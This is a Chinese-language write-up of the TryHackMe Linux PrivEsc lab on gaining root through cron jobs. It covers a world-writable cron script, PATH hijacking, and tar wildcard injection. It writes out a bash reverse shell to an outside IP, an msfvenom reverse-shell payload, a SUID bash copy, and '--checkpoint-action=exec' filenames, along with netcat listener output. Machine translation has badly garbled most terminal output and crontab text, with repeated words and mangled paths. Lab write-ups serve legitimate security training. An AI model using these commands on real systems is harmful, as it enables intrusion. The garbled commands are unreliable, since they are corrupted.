这次,我们将尝试“使用Cron Jobs提高特权”。
目标机使用Tryhackme下面的房间。
“ tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc ”
本文是第5部分。
如果您想使用TryHackMe查看Linux Privesc的写入,请还检查使用环境变量LD_PRELOAD和LD_LIBRARY_PATH的“特权高程




准备
“解释”


ssh user@10.10.166.11 255⨯无法建立主机'10 .10.166.11(10.10.166.11)的真实性'无法建立。 RSA密钥指纹是SHA256:JWWPVFQC+8LPQDA0B9WFLZZXCXCOAHO6S8WYGJKTANK。此主机密钥以下其他名称/地址知道:〜/.ssh/nownod_hosts:1:[hashed name]您确定要继续连接(是/否/[指纹])?是警告:永久添加'10 .10.166.11'(RSA)中已知主机列表。 user@10.10.166.11's密码:Linux Debian 2.6.32-5-AMD64#1 SMP TUE 5月13日16:34:35 UTC 2014 x86_64 exhian GNU/Linux系统随附的程序免费软件;在/usr/share/doc/*/版权所有的单个文件中描述了每个程序的确切分发术语。在适用法律允许的范围内,Debian GNU/Linux绝对没有保修。最后登录:5月15日星期五06:41:23 2020从192.168.1.125用户@debian:〜$
使用Cron Jobs提高特权
CRON作业是一项功能,允许用户安排在特定时间或间隔中运行。
让我们使用此Cron Jobs获得根源特权。
Cron Jobs - 文件权限
首先,让我们查看crontab的内容。
crontab包含Cron作业的配置。
user@debian:〜$ cat /etc /crontab# /etc /crontab:系统范围的crontab#与其他任何其他crontab不同,您不必运行``crontab''#命令即可在编辑此文件#和文件中的``crontab''#命令来安装新版本。这些文件还具有用户名字段,#其他crontab都没有。 shell =/bin/sh path =/home/user:/usr/locar/sbin:/usr/locar/bin:/sbin:/sbin:/usr/sbin:/usr/usr/usr/bin#mh dom mon dow用户命令17 * * * * * * * root cd/&& run -parts -report/report/report/report/report/report/reptc/cron.hourly 25 6 * * * * * * * * * * root test -sbin/sbin/sbin/sbin/sbin/sbin/sbin/sbin/sbin/sbin/sbin (CD /&& run -parts -report /etc/cron.daily)47 6 * * 7根测试-x /usr /sbin /ancron || (CD /&& run -parts -report /etc/cron.weekly)52 6 1 * * root Test -X /usr /sbin /ancron || (cd/&& run-parts -report /etc/cron.monthly)# * * * * * * * * root overwrite.sh * * * * * * root/usr/local/bin/bin/compress.sh
从上面,您可以看到计划每分钟运行两个CRON作业:“ operwrite.sh”和“/usr/local/bin/bin/compress.sh”。
现在,让我们寻找通往overwrite.sh的完整路径。
user@debian:〜$ locate oferwrite.sh/usr/local/bin/bin/overwrite.sh
事实证明是“/usr/local/bin/overwrite.sh”。
让我们继续检查文件的访问权限。
用户@debian:〜$ ll/usr/local/bin/bin/overwrite.sh -rwxr-rw- 1根员工40 2017年5月13日/usr/local/bin/bin/overwrite.sh
overwrite.sh对任何人都可以写作。
现在,重写overwrite.sh并运行反向外壳。
user@debian:〜$ vi/usr/local/bin/overwrite.sh user@debian:〜$ cat/usr/local/local/bin/overwrite.sh#!/bin/bash/bash bash bash -i>&/dev/dev/tcp/10.18.110.90.90/4444 0>&1
完成这样的重写后,请转到攻击机,并使用NetCat收听它。
┌ - ─(hacklab㉿hacklab) - [〜]└─$ nc -nvlp 4444在[any] 4444上聆听[10.18.110.90](未知)[10.10.166.11] 52692 BASH:bash bash bash:bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash:
我认为您可以在不到一分钟的时间内获得根壳。
为了安全起见,我会经营whoami。
root@debian:〜#whoami whoami root root@debian:〜#
现在您有根特权!
Cron Jobs - 路径环境变量
让我们再次展示crontab。
接下来,让我们看一下路径包含“/家庭/用户”的事实。
如果optrwer.sh在路径上,则设置为运行,因此您可以通过将其模拟为Overwrite.sh来运行shell。
user@debian:〜$ cat /etc /crontab# /etc /crontab:系统范围的crontab#与其他任何其他crontab不同,您不必运行``crontab''#命令即可在编辑此文件#和文件中的``crontab''#命令来安装新版本。这些文件还具有用户名字段,#其他crontab都没有。 shell =/bin/sh path =/home/user:/usr/locar/sbin:/usr/locar/bin:/sbin:/sbin:/usr/sbin:/usr/usr/usr/bin#mh dom mon dow用户命令17 * * * * * * * root cd/&& run -parts -report/report/report/report/report/report/reptc/cron.hourly 25 6 * * * * * * * * * * root test -sbin/sbin/sbin/sbin/sbin/sbin/sbin/sbin/sbin/sbin/sbin (CD /&& run -parts -report /etc/cron.daily)47 6 * * 7根测试-x /usr /sbin /ancron || (CD /&& run -parts -report /etc/cron.weekly)52 6 1 * * root Test -X /usr /sbin /ancron || (cd/&& run-parts -report /etc/cron.monthly)# * * * * * * * * root overwrite.sh * * * * * * root/usr/local/bin/bin/compress.sh
现在,在“/家庭/用户”下复制“/bin/bash”,并添加执行权限和SUID权限。
user@debian:〜$ vi/home/user/overwrite.sh user@debian:〜$ cat/home/user/overwrite.sh#!
等待大约一分钟后,使用-p运行复制的“/tmp/rootbash”。
我设法获得了带有根特权的外壳!
用户@debian:〜$ /tmp /rootbash -p rootbash -4.1#whoami root
Cron Jobs - 通配符
接下来,让我们看一下另一个外壳。
用户@debian:〜$ cat/usr/local/bin/compress.sh#!/bin/sh cd/home/home/home/home/tar czf/tmp/backup.tar.gz *
TAR命令在主目录中使用通配符。
TAR可以选择作为检查点的一部分运行命令。
这用于运行反向外壳。
首先,使用msfvenom生成反向外壳。
┌──(hacklab㉿hacklab)-[~] └─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.18.110.90 LPORT=4444 -f elf -o shell.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload未指定编码器,输出原始有效载荷有效载荷大小:74字节的ELF文件的最终大小:194字节保存为:shell.fell
这次,让我们使用SCP传输文件。
┌ - ─(hacklab㉿hacklab) - [〜/tryhackme/linuxprivenv]└─$ scp shell.elf user@10.10.166.11:〜/user@10.10.166.116.1111 s shell.shell.ell.ell.ell
返回目标机器,并检查传输是否正确完成。
有壳。
用户@debian:〜$ ll总计12 -RW-r- r-- 1用户用户212 2017年5月15日2017年5月15日myvpn.ovpn -rw-r--r-- r-- 1用户用户用户194 APR 6 09:18 shell.elf drwxr-xr-x 8用户用户用户用户用户用户用户用户4096 5月15日2020年5月1520年2020年5月
授予Shell.elf的执行权限。
chmod +x /home/user/shell.elf user@debian:~$ ll total 12 -rw-r--r-- 1 user user 212 May 15 2017 myvpn.ovpn -rwxr-xr-x 1 user user 194 Apr 6 09:18 shell.elf drwxr-xr-x 8 user user 4096 May 15 2020 tools
接下来,创建以下文件:
如果将TAR选项设置为文件名,则将其视为选项,而不是将其视为文件名。
user@debian:~$ touch /home/user/--checkpoint=1 user@debian:~$ touch /home/user/--checkpoint-action=exec=shell.elf user@debian:~$ ll total 12 -rw-r--r-- 1 user user 0 Apr 6 09:26 --checkpoint=1 -rw-r--r-- 1 user user 0 Apr 6 09:28 --checkpoint-action=exec=shell.elf -rw-r-r-- 1用户用户212 2017年5月15日myvpn.ovpn -rwxr-xr-x 1用户用户194 Apr 6 09:18 shell.elf drwxr-xr-x 8用户用户4096 5月15日2020年5月
在这种状态下,使用NetCat听它。
(hacklab㉿hacklab) - [〜]└─$ nc -nvlp 4444在[任何] 4444上聆听[10.18.110.90],来自(未知)[10.10.166.11] 52692 52692 bash:bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash bash in lock@debian@debian@debian:〜pondian whoami root@
现在您有根特权!
概括
这次,我尝试了“使用Cron Jobs的特权提升”。
由于这是我经常使用的功能,因此我有点担心我一直在研究它,而没有考虑到现在。 。 。
我总是很好奇是否可以做到这一点。
参考和站点
媒介( shamsher khan ): https://infosecwriteups.com/linux-privesc-trivesc-tryhackme-writeup-bf4e32460ee5